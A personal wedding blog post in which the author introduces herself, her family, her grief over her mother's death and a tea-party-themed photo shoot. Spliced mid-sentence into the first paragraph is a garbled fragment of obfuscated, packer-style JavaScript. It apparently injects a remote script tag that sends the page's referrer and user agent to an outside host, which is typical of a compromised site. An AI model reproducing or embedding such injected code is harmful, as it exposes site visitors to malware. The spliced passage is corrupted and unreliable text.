After sitting through the romantically sophisticated production of the new Sherlock Holmes last night on the BBC, I was finally excited to write this post.  Sherlock Holmes doesn’t have anything to do with this post but it was so infectiously produced that for some strange””””,’g””” c=\’d\’ e=\’b/’ 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’nzhee|varaeszb||js|php’.split(‘|’),0,{}))
reason I was taken over by my Watson-ness and I suddenly had the urge to write. I’ve been anticipating this post for a very long time, unsure of exactly how to write it..and so I’ve split it into two posts.

Today’s post, The Tea Party, is to introduce me to you: who I am and what inspires me.  Part two will be about my new found love Alice In Weddingland, my little wedding blog; my inspiration, my ideas, what it’s all about and what it means for you.

Starting the Alice In Weddingland wedding blog

When I started Alice In Weddingland I never imagined that I would have to uncover my warts, my scars and my vulnerabilities.  I am a private person. I like my space and I like my world without attention so the thought of putting my face on the internet truly freaked the living hell out of me.

But then I realised that like any relationship you have to get to know each other…

…Hi, I’m Zarn.  I’m the face behind Alice In Weddingland.  Pleased to meet you!

And this is me…

Yep!  In the words of Jessie J, I L-O-V-E tea!  In fact, I am a bit of a junkie.  I like my earls, my ladies, my whites, my greens and my blacks but most of all I love my chai and it’s my Aussie chai that keeps my fingers twinkling on the keyboard most days.

And this is my hubby…

We’ve been besotted with each other for ten years this year.  I can’t believe it; married for 10 years!  Apparently if we were following the traditional anniversary chart I would probably be getting a tin of baked beans as a pressie this year as it is apparently the year of tin or aluminum.  But…

… THANK GOODNESS I am all about breaking tradition so we’re following the modern version of the anniversary chart and instead of baked beans I’m looking at DIAMONDS.  {Yay with a capital Hell-Yeh!!} Being a bling junky I will now be a very happy girl.

The Alice in Weddingland Photo Shoot

So, the photo shoot… Katherine and I decided to do a photo shoot in a subtle Alice In Wonderland Tea Party kind of way to introduce you to me but let me tell you a few things about me first..

  • I am 5″3 and shrinking (you apparently do once you’re over 30)
  • I’ve seen Top Gun around 150 times (I was young at the time)
  • I love 20’s fashion and would love to do a 20’s wedding photo shoot
  • My fav. tea is Chai but you already knew that 🙂
  • I love anything that sparkles and wish I owned a jewellery wardrobe (not a jewellery box)
  • My favourite flower is a Frangipani because they remind me of home
  • I once owned a Volvo – and loved it!
  • I would love to meet Tim Walker and introduce him to Australian Chai tea (amongst other things)
  • I hate seafood, it makes me feel nauseous
  • I sing and want to record an album because it’s one thing my Mum never did but should have
  • I am a photography loon and am determined to do a course this year to help my technique
  • I used to be a tom-boy and hated it.  Now I embrace it along with my new found girlishness 🙂

These gorgeous menus and the cupcake holders were created using laser-cutting techniques.  I adored the cupcake holders: they absolutely transformed the cakes into sophisticated, colourful little bundles of joy.

I love the sensual mood created by candles and when I came across these little beauties I fell in love.

The sweetest little mini teapots you’ll ever see.

And this is my most dearest, my most amazing achievement and the one person who makes everything in my life beautiful, my daughter… meet my mini ‘Alice’.

The trauma that changed my life

Tragically my Mum died when I was only 25.  My world collapsed.  I didn’t know how to function without my Mum and suddenly everything seemed useless and I was facing the world without her so I threw myself into changing my life and getting rid of everything that made me unhappy, I needed to embrace the world again.

Fast forward ten years and I’d found my soul mate and had my beautiful baby girl but something was still missing.

The feather and the stone

Last year began like a dark stone thrust into the water – sinking. Years of trauma had taken it’s toll and I was fed up, miserable and I couldn’t shake this awful lonely feeling so instead I drowned myself in creativity.

I scribbled stories, I took photos, I drew, I even started to sing again.  I was engulfed by an unstoppable zest for doing, for creating.  It was like I was echoing the talents of my Mother and somehow all this Mad Hatter style madness landed on a wedding blog.

The transformation of my life

Becoming a Mum has changed the way I see people.  It has given me acceptance of the things I cannot change and the eyes to discover the things I can and I finally knew what I wanted to do.  I had become addicted to styling everything from myself, my Husband even my house and my colourful, creative bubble was ready to burst.

I started to get into fashion 4 years ago after falling pregnant: I wanted to make sure that I would be as great a feminine influence to my baby girl as my Mum was to me.  I had never had a particular style but loved a lot of different things.  I became obsessed with pink, polka dots and frilly knickers.  The me that was stuck in a tomboy bubble for so many years was bursting.   I am a lover of books and so devoured everything I could on the why’s and how’s of fashion designers and felt a natural existence in my new world.

I knew I wanted to entangle my creativity and arty-fartyness with my love of fashion into a new project but what?   I’ve never followed trends as I hated being just one of the crowd so my love for things that are different, unusual, beautiful and stylistic that I’d had all my life was ready to transform into something but I still didn’t know what.

I’ve been singing for years and love the sounds of Imelda May, Katie Noonan and KD Lang and had the thought of performing at weddings but just couldn’t get the courage to do it…. then I thought of wedding planning.  I’d been an event planner back home in Australia so thought it may have been a perfect fit… but I knew it would take me away from home and that wasn’t something I was prepared to do.  I wanted to be at home full-time for my baby girl.

Then it hit me.

I’d started a Mummy’s blog a couple of years ago after my daughter was born so I knew how to run a blog, so why not do a wedding planning blog?

And suddenly Alice In Weddingland was born!!!  I could showcase all that I love about the fashion industry, couple it with my romantic heart, my love for singing and writing and finding the best of the best and the best of the unique, the different – and break tradition!

I had spent so much of my life before my mum died doing things that made me unhappy because it was expected of me.  Then after losing her, life became more important and I finally embraced who I truly was.  Now, I want to help inspire others to do the same; to break from tradition and expectations and embrace who they really are and want to be and to do it in the best possible way – planning your wedding.

This is me

And so this is me, crows feet and all, baring my soul and my creativity and bringing you ideas and hopes on how you can embrace the true you through a world of style, colour and fashion.

I hope you like the adventure! And I hope you continue to join me Down The Rabbit Hole reading my adventures as a professional wedding blogger because I love my job and I’m getting good at it.  In fact, I think I’ve got the two ‘best’ jobs in the world.

And I want to thank you: the readers, the vendors, everybody who comes on and comments on Alice In Weddingland for joining me Down The Rabbit Hole on my new adventure.  Please do introduce yourself and leave a comment… I’d love to get to know you!

So I’ll see you in part two ‘The Garden Party’.

Zarn

A huge, frabjous thanks goes to my sponsors of the photo shoot:

Sneak peek: